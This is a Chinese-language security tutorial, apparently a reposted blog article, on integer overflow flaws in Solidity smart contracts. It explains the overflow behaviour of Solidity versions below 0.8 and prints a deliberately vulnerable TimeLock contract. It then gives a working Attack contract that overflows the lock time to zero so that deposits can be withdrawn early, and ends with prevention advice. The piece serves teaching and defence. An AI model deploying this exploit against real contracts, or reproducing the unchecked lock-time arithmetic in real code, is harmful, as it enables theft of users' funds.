0x01 前言
Web3里智能合约的漏洞经常会导致大量的代币被Web3科学家偷窃。这是关于智能合约安全的第二篇文章,这一篇文章依旧是详细的写智能合约常见的漏洞。
0x02 漏洞介绍与原理
算术溢出(arithmetic overflow)或简称为溢出(overflow)是指在计算机领域里所发生的。运行单项数值计算时,当计算产生出来的结果大于寄存器或存储器所能存储或表示的能力限制的情况就称为算术上溢。反之,称为算术下溢。
在 solidity 中,uint8 所能表示的范围是 0 – 255 这 256 个数,当使用 uint8 类型在实际运算中计算 255 + 1 是会出现上溢的,这样计算出来的结果为 0 也就是 uint8 类型可表示的最小值。同样的,下溢就是当计算产生出来的结果非常小,小于寄存器或存储器所能存储或表示的能力限制就会产生下溢。例如在 Solidity 中,当使用 uint8 类型计算 0 – 1 时就会产生下溢,这样计算出来的值为 255 也就是 uint8 类型可表示的最大值。
不过对于溢出漏洞是存在着版本限制:
-
Solidity < 0.8 溢出不会报错 -
Solidity >= 0.8 溢出会报错
所以当我们看见Solidity版本小于0.8时,可以注意该合约是否存在溢出漏洞。
0x03 漏洞分析与复现
存在漏洞合约
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
contract TimeLock {
mapping(address => uint) public balances;
mapping(address => uint) public lockTime;
function deposit() external payable {
balances[msg.sender] += msg.value;
lockTime[msg.sender] = block.timestamp + 1 weeks;
}
function increaseLockTime(uint _secondsToIncrease) public {
lockTime[msg.sender] += _secondsToIncrease;
}
function withdraw() public {
require(balances[msg.sender] > 0, "Insufficient funds");
require(block.timestamp > lockTime[msg.sender], "Lock time not expired");
uint amount = balances[msg.sender];
balances[msg.sender] = 0;
(bool sent, ) = msg.sender.call{value: amount}("");
require(sent, "Failed to send Ether");
}
}
在TimeLock 合约中用户可以通过deposit()函数存入自己的代币并且给代币上锁 (block.timestamp + 1 weeks) 锁定一周的时间,当然用户也可以通过increaseLockTime()函数来增加存储时间。但在存储期限到达之前,代币会一直锁在TimeLock合约里面,无论用户如何操作都无法提取。
那么怎么造成溢出漏洞呢?在deposit()函数当中可以存入代币并且通过Balance来查看自己的存款,如果攻击者存入2^256个代币导致合约溢出并且清空自己的存款,我想没有人那么愚蠢做出这样的事情,这件事情成本过高。
那么我们只能通过别的漏洞点来触发这个溢出漏洞!
increaseLockTime(uint _secondsToIncrease)
当中 _secondsToIncrease 直接与账户对应的锁定时间 lockTime 进行运算,所以我们可以操作 _secondsToIncrease参数让它在与LockTime进行运算是溢出,即可造成溢出漏洞,从而在未到达取款时间取出我们存入的代币。
攻击合约
contract Attack {
TimeLock timeLock;
constructor(TimeLock _timeLock) {
timeLock = TimeLock(_timeLock);
}
fallback() external payable {}
function attack() public payable {
timeLock.deposit{value: msg.value}();
timeLock.increaseLockTime(
type(uint).max + 1 - timeLock.lockTime(address(this))
);
timeLock.withdraw();
}
}
这个攻击合约能够在存入代币后在未到达锁定结束时间便可取出代币。
流程
-
1)部署TimeLock合约后,接着在部署Attack合约时传入TimeLock合约的地址 -
2)受害者存款1ETH,在取款时时无法取款的 -
3)而攻击者在存入1ETH后调用攻击合约后查看LockTime时间 -
4)调用 Attack.attack 函数,Attack.attack 又调用 TimeLock.deposit 函数向 TimeLock 合约中存入一个以太(此时这枚以太将被 TimeLock 锁定一周的时间),之后 Attack.attack 又调用 TimeLock.increaseLockTime 函数并传入 uint 类型可表示的最大值(2^256 – 1)加 1 再减去当前 TimeLock 合约中记录的锁定时间。此时 TimeLock.increaseLockTime 函数中的 lockTime 的计算结果为 2^256 这个值,在 uint256 类型中 2^256 这个数存在上溢所以计算结果为 2^256 = 0 此时我们刚刚存入 TimeLock 合约中的一个以太的锁定时间就变为 0
type(uint).max + 1 - timeLock.lockTime(address(this))
-
5)在锁定时间为到达的时候便可取出存款
在锁定时间到达之前无法取款并提示”Lock time not expired”
但是攻击者调用攻击合约后查询锁定时间却即可取款
攻击者的函数调用流程图:(转自慢雾科技)
漏洞预防
-
1.使用 SafeMath 来防止溢出; -
2.使用 Solidity 0.8 及以上版本来开发合约并慎用 unchecked 因为在 unchecked 修饰的代码块里面是不会对参数进行溢出检查的; -
3.需要慎用变量类型强制转换,例如将 uint256 类型的参数强转为 uint8 类型由于两种类型的取值范围不同也可能会导致溢出。
0x04 结尾
大家可以关注一下我的推特Twitter @OnNetFiT
参考:
https://mp.weixin.qq.com/s/7lqM7MlKqvQBKBRCX-Nxgg
https://ssr-zjm.github.io/2020/01/15/%E6%99%BA%E8%83%BD%E5%90%88%E7%BA%A6%E5%AE%A1%E8%AE%A1-%E6%95%B4%E6%95%B0%E6%BA%A2%E5%87%BA.html
原文始发于微信公众号(不懂安全的校长):智能合约安全之溢出漏洞